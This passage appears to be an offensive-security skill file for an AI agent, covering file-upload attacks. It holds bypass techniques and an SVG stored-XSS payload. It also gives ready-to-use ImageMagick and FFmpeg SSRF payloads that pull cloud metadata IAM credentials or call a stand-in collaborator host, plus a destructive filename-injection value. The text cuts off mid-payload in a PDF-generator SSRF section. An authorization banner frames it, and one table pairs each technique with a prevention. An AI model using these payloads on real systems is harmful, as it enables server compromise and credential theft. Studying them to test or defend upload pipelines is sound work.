hunt-file-upload

> **⚠️ AUTHORIZED USE ONLY**

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

9. FILE UPLOAD

Content-Type Bypass

filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants

File Upload Bypass Techniques (10 techniques)

| Attack | How | Prevention |

|---|---|---|

| Extension bypass | `shell.php.jpg`, `shell.pHp`, `shell.php5` | Allowlist + extract final extension |

| Null byte | `shell.php%00.jpg` | Sanitize null bytes |

| Double extension | `shell.jpg.php` | Only allow single extension |

| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header |

| Magic bytes prefix | Prepend `GIF89a;` to PHP code | Parse whole file, not just header |

| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid |

| SVG JavaScript | `<svg onload="...">` | Sanitize SVG or disallow entirely |

| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities |

| ZIP slip | `../../../etc/passwd` in archive | Validate extracted paths |

| Filename injection | `; rm -rf /` in filename | Sanitize + use UUID names |

Magic Bytes Reference

| Type | Hex |

|---|---|

| JPEG | `FF D8 FF` |

| PNG | `89 50 4E 47 0D 0A 1A 0A` |

| GIF | `47 49 46 38` |

| PDF | `25 50 44 46` |

| ZIP/DOCX/XLSX | `50 4B 03 04` |

Stored XSS via SVG

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

---

ImageMagick / FFmpeg Exploitation

ImageMagick SSRF / File Read (ImageTragick family + modern variants)

# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF

# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF

# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC

FFmpeg SSRF via HLS Playlist

# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF

# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF

# Test: upload .m3u8 or video file to any video processing endpoint

---

Headless Chrome / PDF Generator SSRF

HTML → PDF Converter Attacks

# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources

# SSRF via CSS import
PAYLOAD='<html><head><